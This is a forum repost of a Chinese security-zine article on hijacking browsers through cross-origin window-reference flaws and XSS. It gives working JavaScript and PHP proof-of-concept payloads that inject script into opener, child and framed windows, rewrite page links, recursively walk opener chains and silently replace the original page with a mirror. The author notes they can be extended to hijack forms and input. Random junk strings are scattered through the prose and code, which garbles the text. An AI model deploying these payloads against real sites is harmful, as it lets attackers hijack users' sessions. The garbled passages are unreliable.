找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1919|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==
8 ^/ x4 ?: d! o) q$ h 5 a7 O3 y1 L. Q1 Y0 G- f
                       Issue 0x03, Phile #0x05 of 0x079 {" x5 T4 V  ^6 u
9 d0 C# K+ [/ g( @# h, X. x5 i
& T- W. ]5 H2 e. V1 N
|=---------------------------------------------------------------------------=|
; j7 D: T" u- T0 Z2 w|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|& W) f/ v; ], j7 n; Q
|=---------------------------------------------------------------------------=|
2 T% ]- R9 N& {" d|=---------------------------------------------------------------------------=|
  m4 v* Y5 P) c  X  k|=------------------------=[      By rayh4c     ]=---------------------------=|
6 B! h# {3 X+ g) g& }- l" X9 y|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
* N: s0 |3 U  l9 e( X/ A3 u0 f+ v|=---------------------------------------------------------------------------=|
9 c$ |/ z  V6 {; _3 q( f
$ F. s9 D" d% e) J& o
$ B: }3 N$ `) |/ x) e5 t- W[目录]/ o6 p) h$ ~$ s! \
0 q) j& j; l/ S: c1 K6 ]! ^. P
1. 前言0 ^2 I% x; i/ U+ E
2. 同源策略简叙" B7 M4 w: e. s7 m- S5 {/ V
3. 理解window对象的同源策略3 c9 g# a1 U* T9 u
4. 窗口引用功能中的同源策略漏洞
: g9 N5 Y6 {" o, E  4.1 父窗口引用子窗口的同源策略问题4 c* w. A* v$ O
  4.2 子窗口引用父窗口的同源策略问题
8 A6 Y" L8 W) m) _8 ?, W1 O5. 利用窗口引用漏洞劫持浏览器, w. b. Q' X6 w, h
6. 利用XSS漏洞劫持浏览器
6 v- z7 C# O+ c" m* k$ S- }' p0 l  6.1 正向跨窗口劫持
! Q8 W& A9 a0 f7 s$ x1 d  6.2 反向跨窗口劫持
0 \+ Q8 R. t5 P* G0 N  6.3 极度危险的跨框架窗口引用劫持
, m1 Y; m  m6 U  q% ^2 r  6.4 极度危险的正反向跨窗口递归劫持1 t0 i( B: d* b* J3 F& F
  6.5 完全控制浏览器
5 A5 e4 p8 z* R" j; I7. 后记6 o: {# y0 n! f) S
8. 参考+ T2 Q9 O$ x; q* @) p# e8 y

8 D2 D: b; a' Z4 t% K) }# I
3 Z8 m% L% _8 w+ B% P& y一、前言
4 [/ S# {( S$ L- ]
( ^" I, v; Z) Z, m6 L  _- n9 ?    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
, t4 a$ X8 J8 p' T1 v& i' b1 o友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session7 m/ x6 [/ M+ g
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被' O9 K7 v" G, i* v% K  S6 e
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
2 o& o. P0 |) C0 P. V( z4 N1 l2 `, N' M3 U' q0 ^1 D. W# {- Z7 ]
9 I6 [: g) Y  H0 O
二、同源策略简叙
' s: m; P5 I/ V  u1 ]  F
% D0 m! B# M- @    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以. l! ~& F1 B+ Q& u, M
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都5 O0 Z4 T  q$ ]% D6 ^: {9 N2 k
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
) }6 ^7 f4 k/ M: v" Y. w& d  D( ~马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个/ t9 h" l  f1 A) F
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。: y. C+ h/ \! S9 N7 j
( T1 g; A0 d) s
6 H/ M1 ?( h7 U+ m7 k' ]6 ~
三、理解window对象的同源策略/ y% `5 G8 w- R9 n- Z  s" D$ P+ V
2 P- U  @: z. ^6 Z4 `
    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
! A; M  L+ m# ]; Q- o象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
! T* x0 ?/ A( w. d6 W0 |2 D7 E- u3 Y1 O# [( p/ [* x: z; E
--code-------------------------------------------------------------------------
2 X+ X+ a+ [3 p4 P3 U; I5 T<script language="javascript">
+ V2 a  n. T9 U9 I8 f/ ^% N3 ?- ifor(p in window) document.write(p+"<br>");0 W3 i3 R+ N2 z% ~. L  Y1 [" G: B
</script>
$ W: |- ^$ f; A: {- |0 D-------------------------------------------------------------------------------
: L  x9 w/ s8 c1 }6 q9 ]5 k5 E# H' R
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方8 A; S9 ?8 _* C9 z; n" N
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,. {: F: a0 D/ n# n, o
这些属性和方法就必须遵循同源策略。
7 J$ u9 z# `/ `. S
$ s* h  k  A6 h3 v: N/ E( A    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
' B9 H4 C4 i: j4 e( R/ ~么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须% ~' w: D/ X6 U7 e9 `" i" |
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
5 i8 K7 h" S; y8 y2 d' e2 D8 g6 N个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的7 J3 d4 z' N- H' b$ c
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location' w% i3 v/ \5 U! p9 T
属性并没有被拒绝访问。3 ^. y: m+ e( u& O" s+ v0 _
6 T3 Q4 Y5 ~1 w! ^, W4 L
--demo.html--------------------------------------------------------------------5 N$ e/ m& R+ j  o1 }8 |8 `
<script language="javascript">   + N5 @7 y, F. R
function allPrpos(obj) {      9 J) n1 K; I  E. Q1 V
      var props = "<table><tr><td>名称</td><td>值</td>";           
$ c2 b9 r1 H& w' |1 b6 H4 s      for(var p in obj){         
' E/ a+ G. z. m, Y% Z            if(typeof(obj[p])=="function"){   
; x% e- w( G: n2 Q                   obj[p]();   
$ y3 c. |; G' t             }else{                     
, z* ?# l4 E& g) G                  try   7 E$ t& V3 t1 ~& Q1 k( i( }
                   {     D' W* Z2 }' e9 Z, m/ e
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
  U1 K, N5 f4 j4 j& M' K                   }   / G/ G  K: i9 n4 Y; `
                  catch (ex)   
# m6 v% E/ @2 B. _( m! g                   {   
- x  r6 @3 `3 @                   + Z0 N8 f+ A' K! }* V# ~
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   $ g/ f9 j+ A; }* x* Y  |& F. p" b
                   }   & _% @9 f$ y# G: `
                       
  k: F: L; A( n5 L* F0 E' x             }   
$ a2 e6 j- a- f6 l       }   
7 q* A7 p) J* l4 h2 _, ^9 C   
% g8 ^+ E. f8 G; L       document.write(props+"</table>");   
& M* f5 `5 O3 W/ \0 i2 V0 f}   8 E1 [; v- ]) Y' D8 m0 _1 J3 [
   0 M8 v: x9 {( |- c
function createWin() {
8 G% f/ Z- H5 T/ H0 X/ {2 C        newWin = window.open ("http://www.google.com");  
. y, V: W! w6 n) ?        setTimeout(function(){allPrpos(newWin)},2000); * k# Y5 A3 z& e% `
} . P; l" X# z6 t. u# c# _
6 b4 m8 |' l( _' i: X2 |2 a0 e
</script>
* ?( @* |4 }$ p8 Q0 o, k) |; h8 R3 d% _
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
3 s) E5 R7 {% g3 O  {$ t-------------------------------------------------------------------------------
3 S; `/ c4 W2 F. O
9 v) R* \! u9 k) d, x9 |" Y$ }+ w
% C- d( B% Q; y- j* T四、窗口引用功能中的同源策略漏洞9 c7 q" z' [2 {) r/ O

1 d3 o: x1 n3 W* V( k0 O/ L" R; }4.1 父窗口引用子窗口的同源策略问题/ l+ r4 C- i- ^

; W( K  _9 @2 A6 \    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
, ~- X2 f7 y( _. k2 J但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
1 e5 q$ e' e5 N0 m浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
) g* {8 F3 j* r3 F行测试,会发现父窗口可以控制非同源子窗口location属性值。# T7 t- d2 X1 h+ t/ E: g) Q
9 B; |$ |) L0 }! d$ ^2 b
--vul1.html--------------------------------------------------------------------
" w9 t4 V8 J* u7 d( [/ T<script language="javascript">
/ ~( \  ~: K) F5 ofunction createWin() {  6 T, U# J; W* E$ [2 H2 k
        newWin = window.open ("http://www.google.com");  ; E/ Y  V8 i  X8 `1 A
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
# V& t3 T  ]2 `0 b2 k' Z$ N} # t, E& g# S$ W" W
</script>
$ ?: k3 Y4 ?' O- W4 k. J3 A0 N& a
/ H) f" _& b8 c4 z) A<button onclick='createWin()'>创建一个非同源子窗口测试</button>2 m' z% T( }  n$ t6 @
-------------------------------------------------------------------------------
7 \7 U1 Z% z. ?% s* e/ @% Q; F0 |, l3 D( A/ c* T# W' V+ J

. d7 e5 x0 J5 F( x9 p4 W4.2 子窗口引用父窗口的同源策略问题% e. ^9 E' u2 y- L4 ^

0 J' ^) F# F5 M4 U  C) u    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使5 N2 m' D/ t$ d3 ]9 r7 p
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
! [# F& w+ @# ^4 r. I# P% O& P5 P可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定7 k" e) d9 Q! F0 m# ~1 i
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
5 C# C$ d( N! Q& M  |2 O3 y. s7 D0 T' j6 T2 L, @2 o5 R0 e; z/ z, T
--code-------------------------------------------------------------------------
8 [- }$ f  x- ^6 }' ~4 ]/ Y4 h8 t$ }/ Q
javascript:window.opener.location = "http://www.80sec.com";void(0);2 c5 @$ H# a$ n7 j( S
7 V) u( R& M$ Z. L' P8 B1 ]
-------------------------------------------------------------------------------: q0 \' ]2 g5 y& \% E% @9 l

+ g+ E- e6 }2 d- m# {. z
2 Z4 v( F8 c' J* t/ v五、利用窗口引用漏洞劫持浏览器# w6 p# ?0 i' E0 j

! m2 X$ s/ e. T) L) c+ s+ B2 R  k    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子0 F" P1 B( n$ o( ?1 H8 W$ X
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那& P5 Y2 I6 x, Y4 O/ q! N8 G0 \
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。3 P" Q4 s, P' y# q3 k* k. H

  \8 d* i# k) ?0 A+ h    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
5 T$ m" L1 H8 O5 t- l) g( I8 Z生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
: {9 n; ^) p0 u# M. ~者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接" A9 U3 e, z0 A4 g8 I4 Y
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
# @$ m! p$ S2 B. o会产生什么可怕的后果。; G6 D& e7 G' o1 o- b

# W$ W( g, p  t/ i# }    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我4 q3 D" \4 ^) M. j" Z% n2 F& g
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php& k/ w2 S* w9 g2 U0 X$ Z
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时8 J3 l! k9 a$ `( M) Y
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可( H" o* v# z# z8 H5 q" \
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
" \5 a- s8 D1 O! h( V: U8 s: G0 ]  x( _# K. A+ w$ w0 H
--hjk_ref.php------------------------------------------------------------------
6 p/ r# H9 l% L. p. {8 o: N0 ]2 A<?php) {3 I8 @6 h7 F, E! @: ^
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
8 ^7 e% A9 A3 N6 s, a, K" C$Url_Mirror = $_SERVER["HTTP_REFERER"];  K$ N: m) I8 e5 W3 Y% R- U/ ~
}
+ W/ u! o! i. L/ v/ ]  p2 ]if(isset ($_GET['ref'])) {5 m* s* U; m9 A( c4 a# w6 }
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';2 e6 Y* B( C& K  |
}
# l- p. f, n2 d4 S1 h. e3 N- a?>1 k' S5 p* @. X( b! Q9 h1 H

. k# K+ Y8 s- Z: n8 t+ a# G<script language="javascript">
; `( }% A$ z0 ?( MsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
: A9 W- a! H! Y+ w</script>
& q5 k% C. o( C% t- N7 r-------------------------------------------------------------------------------" l2 n: J3 v" k7 I% s. L

8 X; Z' D- g& r+ [% \2 A    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。5 m- s% a3 B5 B& M) y5 u! g6 f
  E* N. f3 \2 p
/ z6 ]0 F" v5 n' Z5 _( h. ~5 f
六、利用XSS漏洞劫持浏览器5 v6 P9 J7 F& Y9 r6 j) [  p! D* D8 Z
; u1 c0 P3 O$ E4 ]
    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为% B* J6 z* K2 n; g* l# h
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
, n6 D% Z- g9 u- kXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起( W8 x2 [: B5 `
讨论跨站师的终极技巧:. R9 C: o) \- t

1 C% e" h9 h8 q7 }
1 _# E  @5 `2 v/ P8 a# B6.1 正向跨窗口劫持5 g1 T& z  c# c( B( G

: i2 m5 [8 \7 f    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛! Q+ l+ G+ O6 v6 x4 [3 {4 }. _
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链' d3 Y7 y6 [: T, @# Q4 U+ L
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
+ @% C: L; o5 o2 `, _框脚本。 ; I- O4 i0 @$ L, q, A% ]1 I
; W( h+ M5 {" ^2 v* T. r5 w
--hijack_open.js---------------------------------------------------------------
1 C9 M" J6 g2 P7 R
8 v% ~1 p3 o4 a+ Sjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
' m2 B+ s+ o* d: N1 e
- F3 g" P5 @. N; S2 g-------------------------------------------------------------------------------% t; t* _- ]: U( a2 w

, H, M# N* T- B! j( k4 X* N/ U
: x$ u0 `2 T. R! G/ O/ _6.2 反向跨窗口劫持
; C+ f9 x5 T8 Q8 I
3 W( ^% Y* \: w    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
7 n: u4 g  g  m; f码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话0 |) _1 N- o- y4 l, s
框脚本。; f0 w, r- J7 u" x
' n2 Y( [+ {  S/ V
--hijack_opener.js-------------------------------------------------------------
3 m9 B/ n8 Y) z" f1 u3 I1 h3 i1 N) F& s
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);  W( ]5 K4 a( e

3 l  l0 u' T- x" V-------------------------------------------------------------------------------
2 j' i+ m+ f/ K, L/ r7 L$ z2 s" k0 R
6 d, S( }; z4 T  C* G% O
6.3 极度危险的跨框架窗口引用劫持2 P) w. G1 {6 {8 j$ z/ E9 ?

" o, J" ?7 p; [: Q$ \8 X+ _" l    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞, H, R" J. [# @( s* ^" p0 R8 _
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
2 P3 U/ H4 U. ]* w适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
8 P8 r; r0 D9 [3 a$ ]非持久型的XSS,如下:6 H) b1 t) x! L) V: E; H

# m3 l4 {/ }) i; T7 k+ ^<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
+ Q' t1 T* x* ?
7 @- K* v/ T( g) }    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
; A# D0 H/ W0 s" W! T注入脚本。/ @$ N8 B: f; p5 ~7 |) ^
& r+ |( ^0 W) F: N9 I
--hijack_frame_opener.js-------------------------------------------------------2 j: g6 c% z' Y4 ]( K
<script>
( o$ l9 S" `/ t5 R" [% nwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";2 G5 C7 T# l! ~! S
</script>
( T, x6 }% H$ ^8 Z- H  t  }& W6 J. ^-------------------------------------------------------------------------------3 ^% Z: \: d# Z/ W: Q+ D
& c, }, A1 \" I* c; ]

( ]' w! I. Y: w( I, n6.4 极度危险的正反向跨窗口递归劫持
" k! X1 T6 f9 f0 I
+ f4 W# ~8 }$ ^9 ^6 V    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
% k, D! S, b6 d1 y8 Z- g  r. x8 b的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过) g1 G5 E- ?: y* n( H3 m& }# o
异常处理规避之间跨域页面的访问异常,代码如下:" |1 \! _. ?. a$ ]0 U1 g0 r
) J; U( q$ O9 C) H0 T( I
--code-------------------------------------------------------------------------
& [( R. ~0 Z! ]' K4 P% {5 ~/ C3 |) k
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
% ~* w, s& _) H" K3 F% z
# q( T! c' Z/ v: J- G% i) |+ C-------------------------------------------------------------------------------
0 v1 T# v3 ~8 y) c- b7 D, A* e  j/ x; r! u
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
0 n, p' T, j* J' g4 \以劫持B域之前的A域页面,从而实现“隔空打击”。6 D" ?; Q5 Z5 Q. u

, b" N# }  x; U9 C. q    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面2 |: b. k3 |6 s& j
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。% E) E9 h8 x  K
0 P; s: q% p* X! Q, S
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。, O, U( w- Y6 \9 q' x  ?! R

- t) [: V+ ~6 I" S: Q, r
; R. {: X1 P9 I1 H; }; S6 z6.5 完全控制浏览器
, T$ j, d, n: G# N& t3 z0 G- A/ Z& z& R: E+ D
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则5 J' n$ S/ p8 H$ V" T( c2 l
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS% {/ n; F* r3 w2 T+ P; Q9 `3 z
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
+ [) x- Y; m9 U2 F4 O) d而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再. V# R5 }) Y- h
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站  b& q; C  S, p' u  Q" k* {  q, e7 C6 S
师的终极目标 - 完全控制浏览器。' n$ ^0 i9 f4 ]2 T2 g

4 `; s* O# i! O( M% Y5 X; P% N4 G) G/ S/ }9 q
七、后记
3 z7 h2 q) }$ ^# I7 X+ q% N$ }9 h1 o0 _3 t3 U/ ]
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
9 D; p  [, \- b  r, W与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
0 ^/ R" X5 P8 ~, j& [过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。5 e. O" m9 M- ?" `) ]/ ]$ P

; m8 L) \, Q8 t; s  H* J2 f, b' O) W1 E
八、参考
9 j" T4 I0 ]7 V8 `- Z0 H$ R- b) g$ Y& e' Q
1. http://en.wikipedia.org/wiki/Same_origin_policy) h8 x9 [, M$ K1 S) q8 o
2. http://code.google.com/p/browser ... licy_for_DOM_access
- m- z/ Z+ }- o9 e9 r3. http://www.w3.org/TR/Window/( w: [+ S/ r6 f& Q
4. http://www.80sec.com/release/browser-hijacking.txt
' O6 g+ M9 N9 z5 t3 n5. http://www.80sec.com/all-browser-security-alert.html
" d  K7 D  V2 ?$ F( x* }( g6. http://www.80sec.com/ms08-058-attacks-google.html* p% U' h% H# O" y8 \( v0 G

. j# z# A5 {2 ~6 n' z+ R-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表